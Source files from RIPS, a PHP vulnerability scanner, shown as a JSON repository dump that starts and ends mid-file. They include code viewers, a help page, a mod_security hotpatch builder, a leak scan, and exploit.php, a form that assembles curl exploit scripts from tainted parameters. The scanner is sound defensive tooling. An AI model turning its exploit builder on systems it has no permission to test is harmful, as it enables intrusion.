%(num_cats)20s\"\"\"%stats\n        for c in stats.get(\"cats\",[]):\n            print \"   %50s\"%(\"%s   [+]\"%c)\n        errcode+=stats.get('hits',0)\n\n\n    return errcode\n\nif __name__=='__main__':\n    args, options = getargs()\n    sys.exit(main(args,options))\n\n\n"
  },
  {
    "path": "windows/code.php",
    "content": "<table width='100%'>\n<?php\n/**\n\nRIPS - A static source code analyser for vulnerabilities in PHP scripts\n\tby Johannes Dahse (johannes.dahse@rub.de)\n\n\nCopyright (C) 2012 Johannes Dahse\n\nThis program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 3 of the License, or (at your option) any later version.\n\nThis program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License along with this program; if not, see <http://www.gnu.org/licenses/>.\n\n**/\n\ninclude('../config/general.php');\n\n\t// prepare output to style with CSS\n\tfunction highlightline($line, $line_nr, $marklines, $in_comment)\n\t{\n\t\t$tokens = @token_get_all('<? '.$line.' ?>');\n\t\t$output = (in_array($line_nr, $marklines)) ? '<tr><td nowrap class=\"markline\">' : '<tr><td nowrap class=\"codeline\">';\n\n\t\tfor($i=0; $i<count($tokens); $i++)\n\t\t{\n\t\t\tif(is_array($tokens[$i]) && ($tokens[$i][0] === T_COMMENT || $tokens[$i][0] === T_DOC_COMMENT)\n\t\t\t&& ($tokens[$i][1][0] === '/' && $tokens[$i][1][1] === '*' && substr(trim($tokens[$i][1]),-2,2) !== '*/'))\n\t\t\t{\n\t\t\t\t$in_comment = true;\n\t\t\t\tif(is_array($tokens[$i]))\n\t\t\t\t\t$tokens[$i][1] = str_replace('?'.'>', '', $tokens[$i][1]);\n\t\t\t}\n\t\t\tif($tokens[$i] === '/' && $tokens[$i-1] === '*')\n\t\t\t{\n\t\t\t\t$in_comment = false;\n\t\t\t}\n\n\t\t\tif($i == count($tokens)-1 && $tokens[$i-1][0] !== T_CLOSE_TAG)\n\t\t\t\t$tokens[$i][1] = str_replace('?'.'>', '', $tokens[$i][1]);\n\n\t\t\tif($in_comment)\n\t\t\t{\n\t\t\t\tif($tokens[$i][1] !== '<?' && $tokens[$i][1] !== '?'.'>')\n\t\t\t\t{\n\t\t\t\t\t$trimmed = is_array($tokens[$i]) ? trim($tokens[$i][1]) : trim($tokens[$i]);\n\t\t\t\t\t$output .= '<span class=\"phps-t-comment\">';\n\t\t\t\t\t$output .= empty($trimmed) ? '&nbsp;' : htmlentities($trimmed, ENT_QUOTES, 'utf-8');\n\t\t\t\t\t$output .= '</span>';\n\t\t\t\t}\n\t\t\t}\n\t\t\telse if($tokens[$i] === '/' && $tokens[$i-1] === '*')\n\t\t\t\t$output .= '<span class=\"phps-t-comment\">*/</span>';\n\t\t\telse if (is_string($tokens[$i]))\n\t\t\t{\n\t\t\t\t$output .= '<span class=\"phps-code\">';\n\t\t\t\t$output .= htmlentities(trim($tokens[$i]), ENT_QUOTES, 'utf-8');\n\t\t\t\t$output .= '</span>';\n\t\t\t}\n\t\t\telse if (is_array($tokens[$i])\n\t\t\t&& $tokens[$i][0] !== T_OPEN_TAG\n\t\t\t&& $tokens[$i][0] !== T_CLOSE_TAG)\n\t\t\t{\n\t\t\t\tif ($tokens[$i][0] !== T_WHITESPACE)\n\t\t\t\t{\n\t\t\t\t\t$text = '<span ';\n\t\t\t\t\tif($tokens[$i][0] === T_VARIABLE)\n\t\t\t\t\t{\n\t\t\t\t\t\t$cssname = str_replace('$', '', $tokens[$i][1]);\n\t\t\t\t\t\t$text.= 'style=\"cursor:pointer;\" name=\"phps-var-'.$cssname.'\" onClick=\"markVariable(\\''.$cssname.'\\')\" ';\n\t\t\t\t\t\t$text.= 'onmouseover=\"markVariable(\\''.$cssname.'\\')\" onmouseout=\"markVariable(\\''.$cssname.'\\')\" ';\n\t\t\t\t\t}\n\t\t\t\t\telse if($tokens[$i][0] === T_STRING && $tokens[$i+1] === '(' && $tokens[$i-2][0] !== T_FUNCTION)\n\t\t\t\t\t{\n\t\t\t\t\t\t$text.= 'onmouseover=\"mouseFunction(\\''.strtolower($tokens[$i][1]).'\\', this)\" onmouseout=\"this.style.textDecoration=\\'none\\'\" ';\n\t\t\t\t\t\t$text.= 'onclick=\"openFunction(\\''.strtolower($tokens[$i][1]).\"','$line_nr');\\\" \";\n\t\t\t\t\t}\n\t\t\t\t\t$text.= 'class=\"phps-'.str_replace('_', '-', strtolower(token_name($tokens[$i][0]))).'\" ';\n\t\t\t\t\t$text.= '>'.htmlentities($tokens[$i][1], ENT_QUOTES, 'utf-8').'</span>';\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\t$text = str_replace(' ', '&nbsp;', $tokens[$i][1]);\n\t\t\t\t\t$text = str_replace(\"\\t\", str_repeat('&nbsp;', 8), $text);\n\t\t\t\t}\n\n\t\t\t\t$output .= $text;\n\t\t\t}\n\t\t}\n\n\t\tif(strstr($line, '*/'))\n\t\t\t$in_comment = false;\n\n\t\techo $output.'</td></tr>';\n\t\treturn $in_comment;\n\t}\n\n\t// print source code and mark lines\n\n\t$file = $_GET['file'];\n\t$marklines = explode(',', $_GET['lines']);\n\t$ext = '.'.pathinfo($file, PATHINFO_EXTENSION);\n\n\n\tif(!empty($file) && is_file($file) && in_array($ext, $FILETYPES))\n\t{\n\t\t$lines = file($file);\n\n\t\t// place line numbers in extra table for more elegant copy/paste without line numbers\n\t\techo '<tr><td><table>';\n\t\tfor($i=1, $max=count($lines); $i<=$max;$i++)\n\t\t\techo \"<tr><td class=\\\"linenrcolumn\\\"><span class=\\\"linenr\\\">$i</span><A id='\".($i+2).'\\'></A></td></tr>';\n\t\techo '</table></td><td id=\"codeonly\"><table id=\"codetable\" width=\"100%\">';\n\n\t\t$in_comment = false;\n\t\tfor($i=0; $i<$max; $i++)\n\t\t{\n\t\t\t$in_comment = highlightline($lines[$i], $i+1, $marklines, $in_comment);\n\t\t}\n\t} else\n\t{\n\t\techo '<tr><td>Invalid file specified.</td></tr>';\n\t}\n?>\n</table>\n</td></tr></table>\n"
  },
  {
    "path": "windows/exploit.php",
    "content": "<?php\n/**\n\nRIPS - A static source code analyser for vulnerabilities in PHP scripts\n\tby Johannes Dahse (johannes.dahse@rub.de)\n\n\nCopyright (C) 2012 Johannes Dahse\n\nThis program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 3 of the License, or (at your option) any later version.\n\nThis program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License along with this program; if not, see <http://www.gnu.org/licenses/>.\n\n**/\n\nif(!empty($_GET['file']))\n{\n\t$file = $_GET['file'];\n?>\n\n<div style=\"padding: 20px; width: 400px\">\n\n<div style='width: 300px'>\n\t#!/usr/bin/php -f<br>\n\t&lt;?php<br>\n\t#<br>\n\t# <?php echo htmlentities(basename($file), ENT_QUOTES, 'utf-8'); ?> curl exploit<br>\n\t#<br><br>\n</div>\n\n<div id=\"exploitbuild\">\n<div class=\"exploitbox\">\n\t<div class=\"exploittitlebox\">\n\t\t<div class=\"exploittitle\">general settings:</div>\n\t\t<div style=\"clear: left;\"></div>\n\t</div>\n\n\t<div class=\"exploitcontentbox\">\n\t<table class=\"textcolor\">\n\t<tr>\n\t\t<td>URL:</td>\n\t\t<td><input type=\"text\" size=\"40\" id=\"target\" name=\"target\" value=\"http://$target/<?php echo htmlentities(basename($file), ENT_QUOTES, 'utf-8'); ?>\" /></td>\n\t</tr>\n\t<tr>\n\t\t<td>COOKIEJAR:</td>\n\t\t<td><input type=\"text\" id=\"cookiejar\" name=\"cookiejar\" value=\"/tmp/cookie_$target\" /></td>\n\t</tr>\n\t<tr>\n\t\t<td>Max Exec Time:</td>\n\t\t<td><input type=\"text\" id=\"exectime\" size=2 name=\"exectime\" value=\"3\" /> (s)</td>\n\t</tr>\n\t<tr>\n\t\t<td>SSL: <input type=\"checkbox\" id=\"ssl\" name=\"ssl\" value=\"1\" onChange=\"setssl()\" /></td>\n\t\t<td>BasicAuth: <input type=\"checkbox\" id=\"auth\" name=\"auth\" value=\"1\" /></td>\n\t</tr>\n\t</table>\n\t</div>\n</div>\n\n<?php\n\n\tfunction creatediv($method, $name)\n\t{\n\t\tif(!empty($method))\n\t\t{\n\t\t\t$method = htmlentities($method, ENT_QUOTES, 'utf-8');\n?>\n\n<div id=\"<?php echo $name.'box'; ?>\" class=\"exploitbox\">\n\t<div class=\"exploittitlebox\">\n\t\t<div class=\"exploittitle\"><?php echo $name ?> parameter:</div>\n\t\t<input type=\"button\" class=\"closebutton\" style=\"position:relative;top:4px;right:5px;\" value=\"x\" onClick=\"deleteMethod('<?php echo $name; ?>')\" />\n\t\t<div style=\"clear: left;\"></div>\n\t</div>\n\n\t<div class=\"exploitcontentbox\">\n\t<form id=\"<?php echo $name; ?>\">\n\t\t<table class=\"textcolor\" cellspacing=0px cellpadding=2px>\n<?php\n\t\t\t$params =  explode(',', $method);\n\t\t\tforeach($params as $param)\n\t\t\t{\n\t\t\t\tif($name != '$_SERVER' || ($name == '$_SERVER' && substr($param,0,4) == 'HTTP'))\n\t\t\t\t{\n\t\t\t\t\t$param = htmlentities($param, ENT_QUOTES, 'utf-8');\n\t\t\t\t\tif($param == '*') $param = 'foobar';\n\t\t\t\t\techo \"\\n<tr><td>$param:</td>\\n\",\n\t\t\t\t\t\"\\t<td><input type='text' name='$param' value=''></td>\\n\",\n\t\t\t\t\t'</tr>';\n\t\t\t\t} else\n\t\t\t\t{\n\t\t\t\t\techo \"\\n<tr><td colspan='2'>You can taint \\$_SERVER['$param'] by editing the target URL.</td></tr>\\n\";\n\t\t\t\t}\n\t\t\t}\n?>\n\t\t</table>\n\t</form>\n\t</div>\n</div>\n<?php\n\t\t}\n\t}\n\n\tif(isset($_GET['get'])) creatediv($_GET['get'], '$_GET');\n\tif(isset($_GET['post'])) creatediv($_GET['post'], '$_POST');\n\tif(isset($_GET['cookie'])) creatediv($_GET['cookie'], '$_COOKIE');\n\tif(isset($_GET['files'])) creatediv($_GET['files'], '$_FILES');\n\tif(isset($_GET['server'])) creatediv($_GET['server'], '$_SERVER');\n\n\n?>\n\n\t<input type=\"button\" class=\"Button\" value=\"create\" onClick=\"createExploit()\" />&nbsp;\n\t<br /><br />\n</div>\n\n<div id=\"exploitcode\" style=\"display:none;\"></div>\n\t?&gt;\n</div>\n<?php\n} else\n{\n\techo 'No file loaded';\n}\n\n?>\n"
  },
  {
    "path": "windows/function.php",
    "content": "<table width='100%'>\n<?php\n/**\n\nRIPS - A static source code analyser for vulnerabilities in PHP scripts\n\tby Johannes Dahse (johannes.dahse@rub.de)\n\n\nCopyright (C) 2012 Johannes Dahse\n\nThis program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 3 of the License, or (at your option) any later version.\n\nThis program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License along with this program; if not, see <http://www.gnu.org/licenses/>.\n\n**/\n\ninclude('../config/general.php');\n\n\t// prepare output to style with CSS\n\tfunction highlightline($line, $line_nr)\n\t{\n\t\t$tokens = @token_get_all('<? '.$line.' ?>');\n\t\t$output = \"<tr><td class=\\\"linenrcolumn\\\" valign=\\\"top\\\"><span class=\\\"linenr\\\">$line_nr</span>&nbsp;&nbsp;&nbsp;</td><td>\";\n\n\t\tforeach ($tokens as $token)\n\t\t{\n\t\t\tif (is_string($token))\n\t\t\t{\n\t\t\t\t$output .= '<span class=\"phps-code\">';\n\t\t\t\t$output .= htmlentities($token, ENT_QUOTES, 'utf-8');\n\t\t\t\t$output .= '</span>';\n\t\t\t}\n\t\t\telse if (is_array($token)\n\t\t\t&& $token[0] !== T_OPEN_TAG\n\t\t\t&& $token[0] !== T_CLOSE_TAG)\n\t\t\t{\n\t\t\t\tif ($token[0] !== T_WHITESPACE)\n\t\t\t\t{\n\t\t\t\t\t$text = '<span class=\"phps-'.str_replace('_', '-', strtolower(token_name($token[0]))).'\">';\n\t\t\t\t\t$text.= htmlentities($token[1], ENT_QUOTES, 'utf-8').'</span>';\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\t$text = str_replace(' ', '&nbsp;', $token[1]);\n\t\t\t\t\t$text = str_replace(\"\\t\", str_repeat('&nbsp;', 8), $text);\n\t\t\t\t}\n\n\t\t\t\t$output .= $text;\n\t\t\t}\n\t\t}\n\t\treturn $output.'</td></tr>';\n\t}\n\n\t// print function code\n\n\t$file = $_GET['file'];\n\t$start = (int)$_GET['start'];\n\t$end = (int)$_GET['end'];\n\t$ext = '.'.pathinfo($file, PATHINFO_EXTENSION);\n\n\n\tif(!empty($file) && is_file($file) && in_array($ext, $FILETYPES))\n\t{\n\t\t$lines = file($file);\n\n\t\tif( isset($lines[$start]) && isset($lines[$end]) )\n\t\t{\n\t\t\tfor($i=$start; $i<=$end; $i++)\n\t\t\t{\n\t\t\t\techo highlightline($lines[$i], $i);\n\t\t\t}\n\t\t} else\n\t\t{\n\t\t\techo '<tr><td>Sorry, wrong file referenced.</td></tr>';\n\t\t}\n\t} else\n\t{\n\t\techo '<tr><td>Sorry, no file referenced.</td></tr>';\n\t}\n?>\n</table>\n"
  },
  {
    "path": "windows/help.php",
    "content": "<?php\n/**\n\nRIPS - A static source code analyser for vulnerabilities in PHP scripts\n\tby Johannes Dahse (johannes.dahse@rub.de)\n\n\nCopyright (C) 2012 Johannes Dahse\n\nThis program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 3 of the License, or (at your option) any later version.\n\nThis program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License along with this program; if not, see <http://www.gnu.org/licenses/>.\n\n**/\n\ninclude '../config/general.php';\ninclude '../config/securing.php';\ninclude '../config/sinks.php';\ninclude '../config/tokens.php';\ninclude '../config/sources.php';\ninclude '../config/help.php';\ninclude '../lib/printer.php';\n\n$function = htmlentities($_GET['function'], ENT_QUOTES, 'utf-8');\n$type = htmlentities($_GET['type'], ENT_QUOTES, 'utf-8');\n$type = explode(\" (\", $type);\n$type = $type[0];\n\nswitch($type)\n{\n\tcase $NAME_XSS: \t\t\t$HELP = $HELP_XSS;\n\t\t\t\t\t\t\t\t$FUNCS = $F_SECURING_XSS;\n\t\t\t\t\t\t\t\tbreak;\n\tcase $NAME_HTTP_HEADER: \t$HELP = $HELP_HTTP_HEADER;\n\t\t\t\t\t\t\t\t$FUNCS = array();\n\t\t\t\t\t\t\t\tbreak;\n\tcase $NAME_SESSION_FIXATION: \t$HELP = $HELP_SESSION_FIXATION;\n\t\t\t\t\t\t\t\t$FUNCS = array();\n\t\t\t\t\t\t\t\tbreak;\n\tcase $NAME_CODE: \t\t\t$HELP = $HELP_CODE;\n\t\t\t\t\t\t\t\t$FUNCS = $F_SECURING_PREG;\n\t\t\t\t\t\t\t\tbreak;\n\tcase $NAME_REFLECTION: \t\t$HELP = $HELP_REFLECTION;\n\t\t\t\t\t\t\t\t$FUNCS = array();\n\t\t\t\t\t\t\t\tbreak;\n\tcase $NAME_FILE_INCLUDE: \t$HELP = $HELP_FILE_INCLUDE;\n\t\t\t\t\t\t\t\t$FUNCS = $F_SECURING_FILE;\n\t\t\t\t\t\t\t\tbreak;\n\tcase $NAME_FILE_READ: \t\t$HELP = $HELP_FILE_READ;\n\t\t\t\t\t\t\t\t$FUNCS = $F_SECURING_FILE;\n\t\t\t\t\t\t\t\tbreak;\n\tcase $NAME_FILE_AFFECT: \t$HELP = $HELP_FILE_AFFECT;\n\t\t\t\t\t\t\t\t$FUNCS = $F_SECURING_FILE;\n\t\t\t\t\t\t\t\tbreak;\n\tcase $NAME_EXEC: \t\t\t$HELP = $HELP_EXEC;\n\t\t\t\t\t\t\t\t$FUNCS = $F_SECURING_SYSTEM;\n\t\t\t\t\t\t\t\tbreak;\n\tcase $NAME_DATABASE: \t\t$HELP = $HELP_DATABASE;\n\t\t\t\t\t\t\t\t$FUNCS = $F_SECURING_SQL;\n\t\t\t\t\t\t\t\tbreak;\n\tcase $NAME_XPATH: \t\t\t$HELP = $HELP_XPATH;\n\t\t\t\t\t\t\t\t$FUNCS = $F_SECURING_XPATH;\n\t\t\t\t\t\t\t\tbreak;\n\tcase $NAME_LDAP: \t\t\t$HELP = $HELP_LDAP;\n\t\t\t\t\t\t\t\t$FUNCS = $F_SECURING_LDAP;\n\t\t\t\t\t\t\t\tbreak;\n\tcase $NAME_CONNECT: \t\t$HELP = $HELP_CONNECT;\n\t\t\t\t\t\t\t\t$FUNCS = array();\n\t\t\t\t\t\t\t\tbreak;\n\tcase $NAME_POP: \t\t\t$HELP = $HELP_POP;\n\t\t\t\t\t\t\t\t$FUNCS = array();\n\t\t\t\t\t\t\t\tbreak;\n\tdefault:\n\t\t$HELP = array(\n\t\t\t'description' => 'No description available for this vulnerability.',\n\t\t\t'link' => '',\n\t\t\t'code' => 'Not available.',\n\t\t\t'poc' => 'Not available.'\n\t\t);\n\t\tbreak;\n}\n?>\n\n<div style=\"padding-left:30px;padding-right:30px\">\n<h2><?php echo $type; ?></h2>\n<h3>vulnerability concept:</h3>\n\n<table class=\"textcolor\">\n<tr>\n\t<th class=\"helptitle\">source</th>\n\t<th></th>\n\t<th class=\"helptitle\">sink</th>\n\t<th></th>\n\t<th class=\"helptitle\">vulnerability</th>\n</tr>\n<tr>\n<td align=\"left\" class=\"helpbox\">\n<ul style=\"margin-left:-25px\">\n<?php\nif($_GET['get'] || (empty($_GET['get']) && empty($_GET['post']) && empty($_GET['cookie']) && empty($_GET['files']) && empty($_GET['server'])))\n\techo '<li class=\"userinput\"><a href=\"'.PHPDOC.'reserved.variables.get\" target=\"_blank\">$_GET</a></li>';\nif($_GET['post'])\n\techo '<li class=\"userinput\"><a href=\"'.PHPDOC.'reserved.variables.post\" target=\"_blank\">$_POST</a></li>';;\nif($_GET['cookie'])\n\techo '<li class=\"userinput\"><a href=\"'.PHPDOC.'reserved.variables.cookie\" target=\"_blank\">$_COOKIE</a></li>';\nif($_GET['files'])\n\techo '<li class=\"userinput\"><a href=\"'.PHPDOC.'reserved.variables.files\" target=\"_blank\">$_FILES</a></li>';\nif($_GET['server'])\n\techo '<li class=\"userinput\"><a href=\"'.PHPDOC.'reserved.variables.server\" target=\"_blank\">$_SERVER</a></li>';\n?>\n</ul>\n</td>\n<td align=\"center\" valign=\"center\"><h1>+</h1></td>\n<td align=\"center\" class=\"helpbox\">\n\t<?php echo '<a class=\"link\" href=\"'.PHPDOC.$function.'\" target=\"_blank\">'.$function.'()</a>'; ?>\n</td>\n<td align=\"center\" valign=\"center\"><h1>=</h1></td>\n<td align=\"center\" class=\"helpbox\">\n<?php echo $type; ?>\n</td>\n</tr>\n</table>\n\n<h3>vulnerability description:</h3>\n<p><?php echo $HELP['description']; ?></p>\n<p><?php if(!empty($HELP['link'])) echo \"More information about $type can be found <a href=\\\"{$HELP['link']}\\\" target=\\\"_blank\\\">here</a>.\"; ?></p>\n\n<h3>vulnerable example code:</h3>\n<pre><?php echo highlightline(token_get_all($HELP['code']), '', 1); ?></pre>\n\n<h3>proof of concept:</h3>\n<p><?php echo htmlentities($HELP['poc']); ?></p>\n\n<h3>patch:</h3>\n<p><?php echo htmlentities($HELP['patchtext']); ?></p>\n<pre><?php echo highlightline(token_get_all($HELP['patch']), '', 1); ?></pre>\n\n<h3>related securing functions:</h3>\n<ul>\n<?php\nif(!empty($FUNCS))\n{\n\tforeach($FUNCS as $func)\n\t{\n\t\techo '<li><a class=\"darkcolor\" href=\"'.PHPDOC.$func.'\" target=\"_blank\">'.$func.\"</a></li>\\n\";\n\t}\n} else\n{\n\techo 'None.';\n}\n?>\n</ul>\n</div>\n"
  },
  {
    "path": "windows/hotpatch.php",
    "content": "<?php\n/**\n\nRIPS - A static source code analyser for vulnerabilities in PHP scripts\n\tby Johannes Dahse (johannes.dahse@rub.de)\n\n\nCopyright (C) 2012 Johannes Dahse\n\nThis program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 3 of the License, or (at your option) any later version.\n\nThis program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License along with this program; if not, see <http://www.gnu.org/licenses/>.\n\n**/\n\nif(!empty($_GET['file']))\n{\n\t$file = $_GET['file'];\n?>\n\n<div style=\"padding: 20px; width: 400px\">\n\n\n<div id=\"hotpatchbuild\">\n\nCreate mod_security rule.\n\n<?php\n\n\tfunction getFilterOptions($id)\n\t{\n\t\treturn '<select name=\"filter\" onchange=\"document.getElementById('.$id.').value=this.value\">'\n\t\t\t.'<option value=\"alpha\">alphanum</option>'\n\t\t\t.'<option value=\"alpha\">numerical</option>'\n\t\t\t.'</select>';\n\t}\n\n\tfunction creatediv($method, $name)\n\t{\n\t\tif(!empty($method))\n\t\t{\n\t\t\t$method = htmlentities($method, ENT_QUOTES, 'utf-8');\n?>\n\n<div id=\"<?php echo $name.'box'; ?>\" class=\"exploitbox\">\n\t<div class=\"exploittitlebox\">\n\t\t<div class=\"exploittitle\"><?php echo $name ?> parameter:</div>\n\t\t<input type=\"button\" class=\"closebutton\" style=\"position:relative;top:4px;right:5px;\" value=\"x\" onClick=\"deleteMethod('<?php echo $name; ?>')\" />\n\t\t<div style=\"clear: left;\"></div>\n\t</div>\n\n\t<div class=\"exploitcontentbox\">\n\t<form id=\"<?php echo $name; ?>\">\n\t\t<table class=\"textcolor\" cellspacing=0px cellpadding=2px>\n<?php\n\t\t\t$params =  explode(',', $method);\n\t\t\tforeach($params as $param)\n\t\t\t{\n\t\t\t\tif($name != '$_SERVER' || ($name == '$_SERVER' && substr($param,0,4) == 'HTTP'))\n\t\t\t\t{\n\t\t\t\t\t$param = htmlentities($param, ENT_QUOTES, 'utf-8');\n\t\t\t\t\techo \"\\n<tr><td>$param:</td>\\n\",\n\t\t\t\t\t\"\\t<td><input type='text' id='{$method}{$param}' name='$param' value='' /></td>\",\n\t\t\t\t\t\"<td>\".getFilterOptions($method.$param).\"</td>\\n\",\n\t\t\t\t\t'</tr>';\n\t\t\t\t} else\n\t\t\t\t{\n\t\t\t\t\techo \"\\n<tr><td colspan='2'>You can taint \\$_SERVER['$param'] by editing the target URL.</td></tr>\\n\";\n\t\t\t\t}\n\t\t\t}\n?>\n\t\t</table>\n\t</form>\n\t</div>\n</div>\n<?php\n\t\t}\n\t}\n\n\tif(isset($_GET['get'])) creatediv($_GET['get'], '$_GET');\n\tif(isset($_GET['post'])) creatediv($_GET['post'], '$_POST');\n\tif(isset($_GET['cookie'])) creatediv($_GET['cookie'], '$_COOKIE');\n\tif(isset($_GET['files'])) creatediv($_GET['files'], '$_FILES');\n\tif(isset($_GET['server'])) creatediv($_GET['server'], '$_SERVER');\n\n\n?>\n\n\t<input type=\"button\" class=\"Button\" value=\"create\" onClick=\"createHotpatch()\" />&nbsp;\n\t<br /><br />\n</div>\n\n<div id=\"hotpatchcode\">\n\n</div>\n\n<?php\n} else\n{\n\techo 'No file loaded';\n}\n\n?>\n\n</div>\n"
  },
  {
    "path": "windows/leakscan.php",
    "content": "<?php\n/**\n\nRIPS - A static source code analyser for vulnerabilities in PHP scripts\n\tby Johannes Dahse (johannes.dahse@rub.de)\n\n\nCopyright (C) 2012 Johannes Dahse\n\nThis program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 3 of the License, or (at your option) any later version.\n\nThis program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License along with this program; if not, see <http://www.gnu.org/licenses/>.\n\n**/\n\n\t###############################  INCLUDES  ################################\n\n\tinclude('../config/general.php');\t\t// general settings\n\tinclude('../config/sources.php');\t\t// tainted variables and functions\n\tinclude('../config/tokens.php');\t\t// tokens for lexical analysis\n\tinclude('../config/securing.php');\t\t// securing functions\n\tinclude('../config/sinks.php');\t\t\t// sensitive sinks\n\tinclude('../config/info.php');\t\t\t// interesting functions\n\n\tinclude('../lib/constructer.php'); \t\t// classes\n\tinclude('../lib/filer.php');\t\t\t// read files from dirs and subdirs\n\tinclude('../lib/tokenizer.php');\t\t// prepare and fix token list\n\tinclude('../lib/analyzer.php');\t\t\t// string analyzers\n\tinclude('../lib/scanner.php');\t\t\t// scan for sinks in token list\n\tinclude('../lib/printer.php');\t\t\t// output scan result\n\tinclude('../lib/searcher.php');\t\t\t// search functions\n\n\t###############################  MAIN  ####################################\n\n\t$start = microtime(TRUE);\n\n\t$output = array();\n\t$info = array();\n\t$scanned_files = array();\n\n\tif(!empty($_POST['loc']))\n\t{\n\t\t$location = realpath($_POST['loc']);\n\n\t\tif(is_dir($location))\n\t\t{\n\t\t\t$scan_subdirs = isset($_POST['subdirs']) ? $_POST['subdirs'] : false;\n\t\t\t$files = read_recursiv($location, $scan_subdirs);\n\n\t\t\tif(count($files) > WARNFILES && !isset($_POST['ignore_warning']))\n\t\t\t\tdie('warning:'.count($files));\n\t\t}\n\t\telse if(is_file($location) && in_array(substr($location, strrpos($location, '.')), $FILETYPES))\n\t\t{\n\t\t\t$files[0] = $location;\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$files = array();\n\t\t}\n\n\t\t// SCAN\n\t\t\t$user_functions = array();\n\t\t\t$user_functions_offset = array();\n\t\t\t$file_sinks_count = array();\n\t\t\t$user_input = array();\n\n\t\t\t$count_xss=$count_sqli=$count_fr=$count_fa=$count_fi=$count_exec=$count_code=$count_eval=$count_xpath=$count_ldap=$count_con=$count_other=$count_pop=$count_inc=$count_inc_fail=$count_header=0;\n\n\t\t\t$verbosity = 3;\n\n\t\t\t$scan_functions = array_merge($F_XSS, $F_HTTP_HEADER, $F_SESSION_FIXATION);\n\t\t\t$F_USERINPUT = array();\n\t\t\t$V_USERINPUT = array($_POST['varname']);\n\t\t\t$F_SECURING_XSS = array();\n\t\t\t$_POST['vector'] = 'client';\n\n\t\t\t$overall_time = 0;\n\t\t\t$timeleft = 0;\n\t\t\t$file_amount = count($files);\n\n\t\t\tfor($fit=0; $fit<$file_amount; $fit++)\n\t\t\t{\n\t\t\t\t// for scanning display\n\t\t\t\t$thisfile_start = microtime(TRUE);\n\t\t\t\t$file_scanning = $files[$fit];\n\n\t\t\t\techo ($fit) . '|' . $file_amount . '|' . $file_scanning . '|' . $timeleft . '|' .\"\\n\";\n\t\t\t\t@ob_flush();\n\t\t\t\tflush();\n\n\t\t\t\t$scan = new Scanner($file_scanning, $scan_functions, array(), array());\n\t\t\t\t$scan->parse();\n\n\t\t\t\t$overall_time += microtime(TRUE) - $thisfile_start;\n\t\t\t\t// timeleft = average_time_per_file * file_amount_left\n\t\t\t\t$timeleft = round(($overall_time/($fit+1)) * ($file_amount - $fit+1),2);\n\t\t\t}\n\t\t\techo \"STATS_DONE.\\n\";\n\t\t\t@ob_flush();\n\t\t\tflush();\n\t}\n\n\t$elapsed = microtime(TRUE) - $start;\n\n\t################################  RESULT  #################################\n\n\t$treestyle = $_POST['treestyle'];\n\n\tfunction checkLeak($tree, $line, $varname)\n\t{\n\t\tif($tree->children)\n\t\t{\n\t\t\tforeach ($tree->children as $child)\n\t\t\t{\n\t\t\t\t// really dirty :(\n\t\t\t\tif(preg_match(\"/$line:.*markVariable\\('$varname/\", $child->value))\n\t\t\t\t\treturn true;\n\t\t\t\treturn checkLeak($child, $line, $varname);\n\t\t\t}\n\t\t}\n\t\treturn false;\n\t}\n\n\t// check for line leaks found in vulnblock\n\tfunction lineLeakes($line, $var, $block)\n\t{\n\t\tforeach($block->treenodes as $tree)\n\t\t{\n\t\t\tif(checkLeak($tree, $line, $var))\n\t\t\t\treturn true;\n\t\t}\n\t\treturn false;\n\t}\n\n\t\tif(!empty($output))\n\t\t{\n\t\t\t$nr=0;\n\t\t\treset($output);\n\t\t\tdo\n\t\t\t{\n\t\t\t\tif(key($output) != \"\" && !empty($output[key($output)]) )\n\t\t\t\t{\n\t\t\t\t\tforeach($output[key($output)] as $vulnBlock)\n\t\t\t\t\t{\n\t\t\t\t\t\tif(lineLeakes($_POST['line'], str_replace('$','',$_POST['varname']), $vulnBlock))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$nr++;\n\t\t\t\t\t\t\techo '<div style=\"margin-left:10px;margin-top:10px\"><div class=\"vulnblock\">',\n\t\t\t\t\t\t\t'<div id=\"picleak',$nr,'\" class=\"minusico\" name=\"picleak\" style=\"margin-top:5px\" title=\"minimize\"',\n\t\t\t\t\t\t\t' onClick=\"hide(\\'leak',$nr,'\\')\"></div><div class=\"vulnblocktitle\">Data Leak</div>',\n\t\t\t\t\t\t\t'</div><div name=\"allcats\"><div class=\"vulnblock\" style=\"border-top:0px;\" name=\"leak\" id=\"leak',$nr,'\">';\n\n\t\t\t\t\t\t\tif($treestyle == 2)\n\t\t\t\t\t\t\t\tkrsort($vulnBlock->treenodes);\n\n\t\t\t\t\t\t\tforeach($vulnBlock->treenodes as 